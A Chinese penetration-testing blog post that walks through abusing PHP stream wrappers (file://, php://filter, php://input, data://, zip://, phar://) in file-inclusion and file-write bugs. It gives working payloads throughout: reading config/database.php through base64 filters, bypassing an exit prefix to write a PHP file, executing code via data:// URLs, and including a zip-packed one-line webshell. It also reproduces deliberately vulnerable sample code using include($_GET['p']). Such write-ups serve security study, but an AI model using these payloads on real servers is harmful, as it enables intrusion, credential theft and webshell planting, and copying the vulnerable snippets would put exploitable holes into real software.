PHP伪协议就是PHP支持的一些协议,并且封装起来使用的协议,就叫伪协议
file://
file协议用来访问本地系统文件的,在渗透测试中常用来读取系统文件
条件:
- allow_url_include 为
On
这里的协议比较容易理解,和访问本地系统文件一样读取就可以了
file://C:\\windows\\win.ini
php://
php://filter
这种协议一般出现在PHP的文件读取写入函数中
条件:
- allow_url_include 为
On
简单理解一下这个协议,它能够处理数据流,比如读取文件时通过base64进行加密输出
php://filter/read=convert.base64-encode/resource=../../config/database.php
再来看个例子,也是实战中比较多的
<?php
$content = '<?php exit; ?>';
$content .= $_GET['txt'];
file_put_contents($_GET['filename'], $content);
在写入文件之前,加入一个PHP的退出函数
输入Payload为 txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=convert.base64-decode/resource=a.php
时报错了
这是由于base64编码,在解码时是4个字节为一组,如果不足在编码前补充对应字符
txt=bbPD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=a.php
此时成功写入
还有一个方法,使用这个协议的 string.strip_tags
方法,XML遇到PHP标签时,会解析成XML标签,使用这个方法可以删除这个标签,然后再处理输入流
txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=a.php
详细过程看:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
php://input
输入流input,访问请求的原始输入流,当
enctype="multipart/form-data"
的时候,php://input 是无效的,只要enctype
值不是multipart/form-data
,这个协议就管用
条件:
- allow_url_include 为
On
- enctype 值不为
multipart/form-data
看一个例子
<?php
include($_GET['p']);
?>
这里就可以使用 php://input
协议
这里有一个很疑惑的点,输入流原始数据必须符合参数化形式,不然不会被执行,网上很多文章都是不需要的,PHP5.4版本貌似没用
data://
data://
数据流封装器,漏洞出现在PHP文件包含处
条件:
- allow_url_include 为
On
- allow_url_fopen 为
On
<?php
echo file_get_contents($_GET['p']);
?>
?p=data://text/plain;base64,YWFhYWFhYQ==
该协议常用来封装数据,可以使用base64进行加密传输,输出时可自动解密为明文 aaaaaaa
<?php
@include($_GET['p']);
?>
?p=data://text/plain,<?php phpinfo();?>
?p=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B
在base64编码后,需要对base64编码特殊字符做URL编码,否则浏览器识别不了
zip://
zip://
伪协议的格式为zip://[压缩文件路径]#[压缩文件内的子文件名]
将PHP文件放在一个文件夹中,将这个文件夹压缩成ZIP格式,再将压缩文件后缀改为 .jpg
这里需要注意的是 #
需要进行URL编码
常用于在文件包含中使用
<?php
@include($_GET['p']);
?>
?p=zip://a.jpg%231.php
将1.php写成一句话木马,通过Webshell管理工具进行连接
phar://
phar
是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
在这里,我测试了很多网上的方法,只测试成功了一个
首先,这里要创建一个 phar
,在本地写好并且运行创建
在本地创建的时候注意了,将 php.ini
中的 phar.readonly
设置为Off,否则无法生成phar文件
使用命令 php 1.php
执行后,会在当前目录生成一个 a.zip
文件
// 1.php
<?php
$p = new PharData(dirname(__FILE__).'/a.zip', 0,'a',Phar::ZIP);
$x=file_get_contents('./a.php');
$p->addFromString('a.jpg', $x);
?>
// a.php
<?php phpinfo();?>
a.zip
为创建的phar文件名,这里使用的是 zip
格式,读取一句话木马文件 a.php
写入到phar压缩包中的 a.jpg
中
若文件包含可控,直接传入参数 phar://a.zip/a.jpg
即可执行我们想要执行的代码
还有一些其他操作:https://www.cnblogs.com/ningskyer/articles/14321607.html
Author: wileysec
Permalink: https://wileysec.github.io/de9f49bb405f.html
Comments